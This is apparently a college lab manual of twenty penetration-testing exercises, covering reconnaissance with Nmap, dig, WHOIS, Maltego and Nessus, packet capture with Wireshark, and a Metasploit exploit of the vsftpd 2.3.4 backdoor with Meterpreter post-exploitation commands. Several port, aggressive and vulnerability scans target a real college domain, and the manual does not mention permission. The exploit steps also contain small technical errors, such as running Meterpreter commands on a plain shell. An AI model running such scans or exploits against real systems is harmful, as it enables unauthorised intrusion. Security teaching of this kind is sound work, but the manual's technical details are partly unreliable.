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Experiment 1: Install Kali Linux Using Vagrant and VirtualBox

Aim

To install Kali Linux using Vagrant and VirtualBox in a Windows environment and verify successful deployment.

Introduction

Kali Linux is a Debian-based Linux distribution widely used for penetration testing and cybersecurity. Vagrant is used to automate virtual machine deployment, while VirtualBox provides virtualization support.

This experiment demonstrates the setup of a Kali Linux virtual machine using Vagrant and VirtualBox.

Procedure

Step 1: Install VirtualBox

1. Download and install VirtualBox on Windows.
 2. Complete the installation process.
-

Step 2: Install Vagrant

1. Download and install Vagrant.
2. Verify installation:

```
vagrant --version
```

Step 3: Create Working Directory

```
mkdir kali-lab  
cd kali-lab
```

Step 4: Initialize Kali Linux Vagrant Box

```
vagrant init kalilinux/rolling
```

Step 5: Start Kali Linux VM

```
vagrant up
```

Step 6: Access Kali Linux

```
vagrant ssh
```

Step 7: Verify Kali Linux

```
cat /etc/os-release
```

Output

Kali Linux virtual machine deployed successfully

Result

Thus, Kali Linux was installed successfully using Vagrant and VirtualBox.

Experiment 2: Install and Configure Metasploitable Using Vagrant

Aim

To install and configure the Metasploitable vulnerable machine using Vagrant and verify communication with Kali Linux.

Introduction

Metasploitable is a deliberately vulnerable Linux virtual machine used for penetration testing practice. It is commonly used with Kali Linux to learn vulnerability scanning and exploitation techniques.

Procedure

Step 1: Create Working Directory

```
mkdir metasploitable-lab  
cd metasploitable-lab
```

Step 2: Initialize Metasploitable Box

```
vagrant init rapid7/metasploitable3-ub1404
```

Step 3: Start Metasploitable VM

```
vagrant up
```

Step 4: Access Metasploitable

```
vagrant ssh
```

Step 5: Verify Network Communication

From Kali Linux terminal, ping the Metasploitable machine:

```
ping 192.168.56.101
```

Step 6: Analyze Connectivity

Observe successful ICMP reply packets.

Output

64 bytes from 192.168.56.101

Host reachable

Result

Thus, the Metasploitable vulnerable machine was installed successfully and communication with Kali Linux was verified.

Experiment 3: Perform Host Discovery in a Network Using Nmap Ping Scan

Aim

To perform host discovery in a network using Nmap ping scan and identify active hosts in the subnet range.

Introduction

Nmap (Network Mapper) is an open-source network scanning tool used for network discovery and security auditing. It helps identify active hosts, open ports, running services, and vulnerabilities in a network.

A ping scan is used to discover live systems without performing detailed port scanning. It helps network administrators and cybersecurity professionals monitor devices connected to the network.

Procedure

Step 1: Install Nmap

Open Kali Linux terminal and install Nmap using:

```
sudo apt install nmap -y
```

Step 2: Verify Installation

Check whether Nmap is installed successfully:

```
nmap --version
```

Step 3: Identify Network Range

Check the local IP address:

```
ip addr
```

Step 4: Perform Host Discovery

Run the Nmap ping scan command:

```
nmap -sn 192.168.1.0/24
```

Step 5: Analyze Output

Observe the active hosts displayed in the scan result.

Implementation

Command Used

```
nmap -sn 192.168.1.0/24
```

Explanation

- nmap → Starts Nmap tool
 - -sn → Ping scan only
 - 192.168.1.0/24 → Target subnet range
-

Output

Nmap scan report for 192.168.1.1

Host is up

Nmap scan report for 192.168.1.5

Host is up

Result

Thus, host discovery using Nmap ping scan was performed successfully and active hosts in the network were identified.

Experiment 4: Perform DNS Enumeration Using the dig Utility in Kali Linux

Aim

To perform DNS enumeration using the dig utility in Kali Linux and retrieve A records, MX records, and Name Server information of a target domain.

Introduction

DNS (Domain Name System) is used to convert domain names into IP addresses. DNS enumeration is the process of collecting DNS information about a target domain such as IP addresses, mail servers, and name servers.

The dig (Domain Information Groper) utility in Kali Linux is used to query DNS servers and retrieve domain-related information for network analysis and security testing.

Procedure

Step 1: Install DNS Utilities

Open Kali Linux terminal and install DNS utilities:

```
sudo apt install dnsutils -y
```

Step 2: Verify dig Installation

Check whether dig is installed:

```
dig -v
```

Step 3: Retrieve A Record

Use the following command to get the IP address of a domain:

```
dig google.com
```

Step 4: Retrieve MX Record

Use the following command to get mail server information:

dig google.com MX

Step 5: Retrieve Name Server Information

Use the following command to get DNS name servers:

dig google.com NS

Implementation

Commands Used

dig google.com

dig google.com MX

dig google.com NS

Explanation

- dig → DNS query utility
 - google.com → Target domain
 - MX → Mail exchange records
 - NS → Name server records
-

Output

google.com. IN A 142.250.183.14

google.com. IN MX 10 smtp.google.com

google.com. IN NS ns1.google.com

Result

Thus, DNS enumeration using the dig utility in Kali Linux was performed successfully and DNS records of the target domain were retrieved.

Experiment 5: Perform a WHOIS Lookup for a Target Domain

Aim

To perform a WHOIS lookup for a target domain and analyze the registrar details, domain owner information, and expiry date.

Introduction

WHOIS is a protocol used to retrieve registration information about domain names and IP addresses. It provides details such as registrar information, domain creation date, expiry date, nameservers, and organization details.

Cybersecurity professionals use WHOIS lookup for domain investigation, reconnaissance, and security analysis.

Procedure

Step 1: Install WHOIS Tool

Open Kali Linux terminal and install the WHOIS package:

sudo apt install whois -y

Step 2: Verify WHOIS Installation

Check whether WHOIS is installed:
whois --version

Step 3: Perform WHOIS Lookup

Run the WHOIS command for the target domain:
whois www.grace.edu.in

Step 4: Analyze the Information

- Observe:
- Registrar details
 - Domain owner information
 - Creation date
 - Expiry date
 - Name server details
-

Implementation

Command Used

whois www.grace.edu.in

Explanation

- whois → WHOIS lookup command
 - www.grace.edu.in → Target domain name
-

Output

Domain Name: grace.edu.in
Registrar: ERNET India
Organization: GRACE COLLEGE OF ENGINEERING
Creation Date: 2024-10-30
Registry Expiry Date: 2034-10-30
Name Server: ns1.dns-parking.com

Result

Thus, the WHOIS lookup was performed successfully and domain registration details were analyzed.

Experiment 6: Trace the Route to a Remote Host Using traceroute

Aim

To trace the route to a remote host using traceroute and analyze the response time between routers.

Introduction

Traceroute is a network diagnostic tool used to identify the path taken by packets from the source system to a destination host. It displays each hop (router) along the network path and measures the response time between systems.

Traceroute helps network administrators analyze routing paths, troubleshoot connectivity issues, and measure network delays.

Procedure

Step 1: Install traceroute

Open Kali Linux terminal and install traceroute:

```
sudo apt install traceroute -y
```

Step 2: Verify Installation

Check whether traceroute is installed:

```
traceroute --version
```

Step 3: Trace Route to Remote Host

Run the traceroute command:

```
traceroute google.com
```

Step 4: Analyze the Output

Observe:

- Number of hops
 - Router IP addresses
 - Response time between routers
-

Implementation

Command Used

```
traceroute google.com
```

Explanation

- traceroute → Network route tracing tool
 - google.com → Target remote host
-

Output

```
1 192.168.1.1
```

```
2 10.10.0.1
```

```
3 142.250.183.14
```

Result

Thus, the route to the remote host was traced successfully using traceroute and the network hops were analyzed.

Experiment 7: Perform a Basic Nmap Port Scan on a Target Machine

Aim

To perform a basic Nmap port scan on a target website and identify open ports and running services.

Introduction

Nmap (Network Mapper) is a network scanning and security auditing tool used to discover hosts, open ports, and services running on a target system. Port scanning helps identify accessible network services and analyze the security status of a target machine.

Nmap is widely used in cybersecurity, penetration testing, and network administration.

Procedure

Step 1: Install Nmap

Open Kali Linux terminal and install Nmap:

```
sudo apt install nmap -y
```

Step 2: Verify Installation

Check whether Nmap is installed successfully:

```
nmap --version
```

Step 3: Perform Basic Port Scan

Run the following command to scan the target website:

```
nmap www.grace.edu.in
```

Step 4: Analyze the Output

Observe:

- Open ports
 - Running services
 - Port states
-

Implementation

Command Used

```
nmap www.grace.edu.in
```

Explanation

- nmap → Starts the Nmap tool
 - www.grace.edu.in → Target website/domain
-

Output

```
PORT      STATE SERVICE
```

```
21/tcp    open  ftp
```

```
80/tcp    open  http
```

```
443/tcp   open  https
```

```
3306/tcp  open  mysql
```

Analysis

Port Service

```
21      FTP
```

```
80      HTTP
```

```
443     HTTPS
```

```
3306    MySQL
```

Result

Thus, the basic Nmap port scan was performed successfully and open ports with running services were identified on the target website.

8: Perform an Aggressive Nmap Scan Using the -A Experiment Option

Aim

To perform an aggressive Nmap scan using the -A option and analyze operating system details, service versions, and traceroute information.

Introduction

Nmap aggressive scan is used to gather advanced information about a target system. The -A option enables:

- Operating system detection
- Service version detection
- Script scanning
- Traceroute

This scan helps cybersecurity professionals identify detailed information about a target machine and possible vulnerabilities.

Procedure

Step 1: Install Nmap

Open Kali Linux terminal and install Nmap:

```
sudo apt install nmap -y
```

Step 2: Verify Installation

Check whether Nmap is installed successfully:

```
nmap --version
```

Step 3: Perform Aggressive Scan

Run the following command:

```
sudo nmap -A www.grace.edu.in
```

Step 4: Analyze the Output

Observe:

- Open ports
 - Service versions
 - Operating system details
 - Traceroute information
-

Implementation

Command Used

```
sudo nmap -A www.grace.edu.in
```

Explanation

- sudo → Runs command with administrator privileges
 - nmap → Starts Nmap tool
 - -A → Enables aggressive scan
 - www.grace.edu.in → Target website/domain
-

Output

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

21/tcp	open	ftp	
--------	------	-----	--

80/tcp	open	http	
--------	------	------	--

443/tcp	open	https	
---------	------	-------	--

3306/tcp	open	mysql	
----------	------	-------	--

Service Info: OS: Linux

Analysis

Port Service

21	FTP
----	-----

80	HTTP
----	------

443	HTTPS
-----	-------

3306	MySQL
------	-------

The aggressive scan identified:

- Open ports
- Running services
- Operating system details
- Network route information

Result

Thus, the aggressive Nmap scan using the -A option was performed successfully and detailed information about the target system was identified.

Experiment 9: Extract Metadata from Files Using ExifTool

Aim

To extract metadata from files using ExifTool and identify information such as file type, file size, and modification details.

Introduction

Metadata is hidden information stored inside files that contains details such as file name, file type, creation date, author information, and software details.

ExifTool is a command-line utility used to read and analyze metadata from documents, images, and multimedia files. Metadata extraction is useful in cybersecurity and digital forensics for identifying hidden information inside files.

Procedure

Step 1: Install ExifTool

Open Kali Linux terminal and install ExifTool:

```
sudo apt install libimage-exiftool-perl -y
```

Step 2: Verify Installation

Check whether ExifTool is installed successfully:

```
exiftool -ver
```

Step 3: Create Working Directory

Create a directory for metadata analysis:

```
mkdir metadata
```

Move into the directory:

```
cd metadata
```

Step 4: Create Sample File

Create a sample text file:

```
echo "Hello World" > sample.txt
```

Check the file:

```
ls
```

Step 5: Extract Metadata

Run the following command:

```
exiftool sample.txt
```

Implementation

Command Used

```
exiftool sample.txt
```

Explanation

- exiftool → Metadata extraction tool
 - sample.txt → Target file
-

Output

File Name : sample.txt

File Type : TXT

File Size : 12 bytes

MIME Type : text/plain

Word Count : 2

Analysis

The extracted metadata contains:

- File name
- File type
- File size
- MIME type
- Word count

This information is useful in forensic investigation and file analysis.

Result

Thus, metadata was extracted successfully from the file using ExifTool.

Experiment 10: Perform Recursive Metadata Extraction Using ExifTool

Aim

To perform recursive metadata extraction using ExifTool and generate a metadata report for all files inside a directory.

Introduction

Recursive metadata extraction is used to analyze metadata from multiple files inside a directory automatically. ExifTool supports recursive scanning to extract metadata from documents, images, and multimedia files. This process is useful in cybersecurity and digital forensics for identifying hidden information from multiple files efficiently.

Procedure

Step 1: Install ExifTool

Open Kali Linux terminal and install ExifTool:

```
sudo apt install libimage-exiftool-perl -y
```

Step 2: Verify Installation

Check whether ExifTool is installed successfully:

```
exiftool -ver
```

Step 3: Create Working Directory

Create a directory for testing files:

```
mkdir metadata
```

Move into the directory:

```
cd metadata
```

Step 4: Create Sample File

Create a sample text file:

```
echo "Hello World" > sample.txt
```

Step 5: Perform Recursive Metadata Extraction

Run the following command:

```
exiftool -r .
```

Step 6: Generate Metadata Report

Save metadata output into a report file:

```
exiftool -r . > report.txt
```

Step 7: View Report File

Display the report:

```
cat report.txt
```

Implementation

Commands Used

```
exiftool -r .
```

```
exiftool -r . > report.txt
```

Explanation

- exiftool → Metadata extraction tool

- -r → Recursive scan option
- . → Current directory
- > → Redirects output to file
- report.txt → Metadata report file

Output

===== ./sample.txt

File Type : TXT

File Size : 12 bytes

Word Count : 2

Analysis

The recursive scan extracted metadata from all files inside the directory and stored the information in a report file for analysis.

Result

Thus, recursive metadata extraction using ExifTool was performed successfully and the metadata report file was generated.

Experiment 11: Perform a Maltego Investigation for a Target Domain

Aim

To perform a Maltego investigation and collect publicly available information about a target domain.

Introduction

Maltego is an Open-Source Intelligence (OSINT) and link analysis tool used in cybersecurity and digital forensics. It helps collect information about domains, IP addresses, DNS records, email addresses, and online entities using graphical analysis.

Maltego uses transforms to gather publicly available information from internet sources and visualize relationships between entities.

Procedure

Step 1: Install Maltego

1. Download and install Maltego application on Windows.
 2. Launch the Maltego application.
-

Step 2: Login to Maltego

1. Create a free Maltego account or login using existing account.
 2. Complete the activation/setup process.
-

Step 3: Create New Investigation

1. Open Maltego.
 2. Click New to create a new graph/project.
-

Step 4: Add Domain Entity

1. From the entity palette, drag the Domain entity into the workspace.

2. Enter the target domain:

www.grace.edu.in

Step 5: Run Transforms

1. Right-click the domain entity.
 2. Select Run Transform.
 3. Run transforms to collect:
 - IP addresses
 - DNS records
 - Name servers
 - Email addresses
-

Step 6: Analyze Results

Observe the graphical relationships between:

- Domain
 - IP addresses
 - DNS records
 - Name servers
-

Implementation

Target Domain

www.grace.edu.in

Information Collected

- IP Address
 - DNS Records
 - Name Servers
 - Email Information
-

Output

Domain → IP Address

Domain → DNS Records

Domain → Name Servers

Analysis

Maltego successfully collected publicly available information about the target domain and displayed relationships graphically.

Result

Thus, the Maltego investigation was performed successfully and publicly available information about the target domain was collected.

Experiment 12: Gather Information About Domains and IP Addresses Using Robtex

Aim

To gather information about domains and IP addresses using Robtex and analyze ASN details, hosting provider information, and reverse DNS records.

Introduction

Robtex is an online network intelligence and reconnaissance tool used to collect information about domains, IP addresses, DNS records, Autonomous System Numbers (ASN), and hosting providers. It is widely used in cybersecurity and digital forensics for network investigation and information gathering.

Procedure

Step 1: Open Robtex Website

Open a web browser and visit:

[Robtex Official Website](#)

Step 2: Enter Target Domain

In the search box, enter the target domain:

www.grace.edu.in

Step 3: Start Investigation

Click the search button to begin information gathering.

Step 4: Analyze Information

Observe the following details:

- IP address
 - DNS records
 - ASN details
 - Hosting provider
 - Reverse DNS information
-

Implementation

Target Domain

www.grace.edu.in

Information Collected

- Domain IP address
 - ASN details
 - Hosting provider information
 - Reverse DNS records
-

Output

IP Address : 217.21.90.39

Hosting Provider: Hostinger

ASN : AS47583

Analysis

Robtex successfully collected publicly available network information about the target domain including hosting provider details, ASN information, and DNS records.

Result

Thus, information gathering using Robtex was performed successfully and domain-related information was analyzed

Experiment 13: Perform Vulnerability Scanning Using Nessus Essentials

Aim

To perform vulnerability scanning on a target system using Nessus Essentials and analyze detected vulnerabilities based on severity levels.

Introduction

Nessus Essentials is a vulnerability assessment tool used to identify security weaknesses in systems, networks, and web applications. It scans target machines and detects vulnerabilities such as outdated software, open ports, weak configurations, and security risks.

Nessus categorizes vulnerabilities into:

- Critical
- High
- Medium
- Low
- Informational

It is widely used in cybersecurity and penetration testing for security auditing and risk assessment.

Procedure

Step 1: Download Nessus Essentials

1. Open browser and visit the Nessus official website.
 2. Download Nessus Essentials for Windows.
-

Step 2: Install Nessus

1. Run the installer.
 2. Complete the installation process.
-

Step 3: Open Nessus Interface

Open browser and access:

<https://localhost:8834>

Step 4: Register Nessus

1. Create/login Tenable account.
 2. Obtain activation code.
 3. Enter the activation key in Nessus setup.
-

Step 5: Configure Nessus

1. Wait for plugin download and initialization.
 2. Open Nessus dashboard.
-

Step 6: Create New Scan

1. Click New Scan.
2. Select Basic Network Scan.

Step 7: Configure Target

Enter:

- Scan name
- Target IP address or domain

Example:

www.grace.edu.in

Step 8: Launch Scan

Click Launch to begin vulnerability scanning.

Step 9: Analyze Results

Observe:

- Open ports
 - Vulnerabilities
 - Severity levels
 - Service information
-

Implementation

Target Domain

www.grace.edu.in

Vulnerability Categories

- Critical
 - High
 - Medium
 - Low
 - Informational
-

Output

Open Ports Detected

Service Information

Medium Severity Vulnerabilities

Low Severity Vulnerabilities

Analysis

Nessus successfully scanned the target system and identified vulnerabilities with different severity levels useful for security assessment.

Result

Thus, vulnerability scanning using Nessus Essentials was performed successfully and detected vulnerabilities were analyzed.

Experiment 14: Capture Live Network Packets Using Wireshark

Aim

To capture live network packets using Wireshark and analyze ICMP packets generated during ping communication.

Introduction

Wireshark is a network packet analyzer used to capture and inspect network traffic in real time. It helps analyze protocols, packet headers, source IP addresses, destination IP addresses, and communication between systems.

ICMP (Internet Control Message Protocol) is commonly used for network testing through the ping command. Wireshark is widely used in cybersecurity, network troubleshooting, and packet analysis.

Procedure

Step 1: Install Wireshark

1. Download and install Wireshark on Windows or Kali Linux.
 2. Launch the Wireshark application.
-

Step 2: Select Network Interface

1. Choose the active network interface:
 - Wi-Fi
 - Ethernet
 - VirtualBox Host-Only Adapter (if using VM)
 2. Double-click the interface to start packet capture.
-

Step 3: Generate ICMP Traffic

Open terminal or command prompt and run:
`ping google.com`

Step 4: Apply ICMP Filter

In Wireshark filter bar, enter:

`icmp`

Press Enter to display only ICMP packets.

Step 5: Analyze Packets

Observe:

- Source IP address
 - Destination IP address
 - ICMP Echo Request
 - ICMP Echo Reply
 - Packet size and time
-

Implementation

Command Used

`ping google.com`

Wireshark Filter

`icmp`

Output

ICMP Echo Request
ICMP Echo Reply
Source IP Address
Destination IP Address

Analysis

Wireshark successfully captured and filtered ICMP packets generated during ping communication. Packet details such as source IP, destination IP, and response packets were analyzed.

Result

Thus, live network packets were captured successfully using Wireshark and ICMP packet communication was analyzed

Experiment 15: Capture FTP Login Traffic Using Wireshark

Aim

To capture FTP login traffic using Wireshark and analyze plaintext username and password transmission over the network.

Introduction

FTP (File Transfer Protocol) is used for transferring files between systems over a network. FTP transmits usernames and passwords in plaintext, making it insecure. Wireshark is used to capture and analyze FTP packets to observe login credentials and protocol communication. This experiment demonstrates the importance of secure protocols in cybersecurity.

Procedure

Step 1: Install Wireshark

1. Download and install Wireshark on Windows or Kali Linux.
 2. Launch the Wireshark application.
-

Step 2: Start Packet Capture

1. Select the active network interface:
 - Wi-Fi
 - Ethernet
 2. Double-click the interface to start capturing packets.
-

Step 3: Generate FTP Traffic

Open terminal and connect to an FTP server:
ftp test.rebex.net
Login credentials:
Username: demo
Password: password

Step 4: Apply FTP Filter

In Wireshark filter bar, enter:

ftp

Press Enter.

Step 5: Analyze FTP Packets

Observe:

- USER command
 - PASS command
 - Source IP address
 - Destination IP address
 - FTP communication packets
-

Implementation

FTP Command

ftp test.rebex.net

Wireshark Filter

ftp

Output

USER demo

PASS password

Analysis

Wireshark successfully captured FTP login traffic and displayed the username and password transmitted in plaintext. This shows that FTP is insecure for sensitive communication.

Result

Thus, FTP login traffic was captured successfully using Wireshark and plaintext credential transmission was analyzed.

Experiment 16: Capture and Analyze TCP, DNS, and HTTP Packets Using Wireshark

Aim

To capture and analyze TCP, DNS, and HTTP packets using Wireshark filters and examine protocol headers, source IP addresses, destination IP addresses, and port numbers.

Introduction

Wireshark is a network packet analyzer used to monitor and inspect network traffic in real time. It helps analyze different protocols such as TCP, DNS, and HTTP by capturing packets transmitted over a network. Protocol analysis is important in cybersecurity and networking for troubleshooting, monitoring communication, and understanding packet flow.

Procedure

Step 1: Install Wireshark

1. Download and install Wireshark on Windows or Kali Linux.
2. Launch the Wireshark application.

Step 2: Select Network Interface

1. Choose the active network interface:
 - Wi-Fi
 - Ethernet
2. Double-click the interface to start packet capture.

Step 3: Generate Network Traffic

Open browser and visit websites such as:
http://example.com

Open terminal and run:
ping google.com

Step 4: Apply Wireshark Filters

TCP Filter

tcp

DNS Filter

dns

HTTP Filter

http

Step 5: Analyze Packets

- Observe:
- Source IP address
 - Destination IP address
 - Port numbers
 - TCP communication
 - DNS query packets
 - HTTP request and response packets

Implementation

Commands Used

ping google.com

Wireshark Filters

tcp

dns

http

Output

TCP Packets Captured

DNS Query Packets Captured

HTTP Request and Response Captured

Analysis

Wireshark successfully captured TCP, DNS, and HTTP packets. Protocol headers, IP addresses, and port numbers were analyzed to understand network communication.

Result

Thus, TCP, DNS, and HTTP packets were captured and analyzed successfully using Wireshark.

Experiment 17: Start Metasploit Database Service and Launch Armitage

Aim

To start the Metasploit database service in Kali Linux and launch Armitage for connecting with the Metasploit Framework.

Introduction

Metasploit Framework is a penetration testing tool used for vulnerability assessment and exploitation. It provides modules for scanning, exploiting, and post-exploitation activities.

Armitage is a graphical user interface (GUI) for Metasploit that helps visualize targets, manage exploits, and control Meterpreter sessions easily.

The Metasploit database service stores scan results, host information, and vulnerability data.

Procedure

Step 1: Start PostgreSQL Service

Open Kali Linux terminal and start PostgreSQL database service:

```
sudo systemctl start postgresql
```

Step 2: Initialize Metasploit Database

Run the following command:

```
sudo msfdb init
```

Step 3: Verify Database Status

Check whether the database is connected:

```
msfconsole
```

Inside Metasploit console, type:

```
db_status
```

Step 4: Launch Armitage

Run the following command:

```
armitage
```

Step 5: Connect Armitage to Metasploit

1. Click Connect.
 2. Use default settings.
 3. Wait for Armitage to connect with Metasploit Framework.
-

Implementation

Commands Used

```
sudo systemctl start postgresql  
sudo msfdb init  
msfconsole  
db_status  
armitage
```

Output

```
PostgreSQL service started  
Metasploit database connected  
Armitage connected successfully
```

Analysis

The Metasploit database service was initialized successfully and Armitage established connection with the Metasploit Framework for penetration testing operations.

Result

Thus, the Metasploit database service was started successfully and Armitage was connected with the Metasploit Framework.

Experiment 18: Discover Vulnerable Hosts Using Metasploit and Nmap Integration

Aim

To discover vulnerable hosts in a network using Metasploit and Nmap integration.

Introduction

Metasploit Framework integrates with Nmap to perform host discovery, service detection, and vulnerability assessment. The scan results are stored in the Metasploit database for further exploitation and analysis.

Procedure

Step 1: Install PostgreSQL

```
sudo apt install postgresql -y
```

Step 2: Install Metasploit Framework

```
sudo apt install metasploit-framework -y
```

Step 3: Start PostgreSQL Service

```
sudo systemctl start postgresql
```

Step 4: Initialize Database

```
sudo msfdb init
```

Step 5: Open Metasploit Console

msfconsole

Step 6: Verify Database Connection

db_status

Step 7: Perform Nmap Scan

db_nmap scanme.nmap.org

Step 8: View Hosts and Services

hosts
services

Output

Hosts discovered
Open ports detected
Services identified

Result

Thus, vulnerable hosts were discovered successfully using Metasploit and Nmap integration.

Experiment 19: Exploit vsftpd 2.3.4 Vulnerability Using Metasploit

Aim

To exploit the vsftpd 2.3.4 backdoor vulnerability using Metasploit and establish a Meterpreter session.

Introduction

vsftpd 2.3.4 contains a backdoor vulnerability that allows remote command execution. Metasploit provides an exploit module to target this vulnerability.

Procedure

Step 1: Open Metasploit Console

msfconsole

Step 2: Search Exploit

search vsftpd

Step 3: Select Exploit Module

use exploit/unix/ftp/vsftpd_234_backdoor

Step 4: Set Target Host

set RHOSTS 192.168.1.10

Step 5: Run Exploit

exploit

Step 6: Execute Commands

sysinfo
getuid

Output

Meterpreter session opened
System information displayed

Result

Thus, the vsftpd 2.3.4 vulnerability was exploited successfully using Metasploit.

Experiment 20: Perform Post-Exploitation Activities Using Meterpreter

Aim

To perform post-exploitation activities using Meterpreter and retrieve system information, running processes, and network connections.

Introduction

Meterpreter is an advanced Metasploit payload used after successful exploitation for system analysis and control.

Procedure

Step 1: Open Meterpreter Session

After successful exploitation, Meterpreter session opens automatically.

Step 2: Retrieve System Information

sysinfo

Step 3: View Current User

getuid

Step 4: List Running Processes

ps

Step 5: View Network Connections

netstat

Output

OS information displayed
User information displayed
Processes listed
Network connections displayed

Result

Thus, post-exploitation activities using Meterpreter were performed successfully.
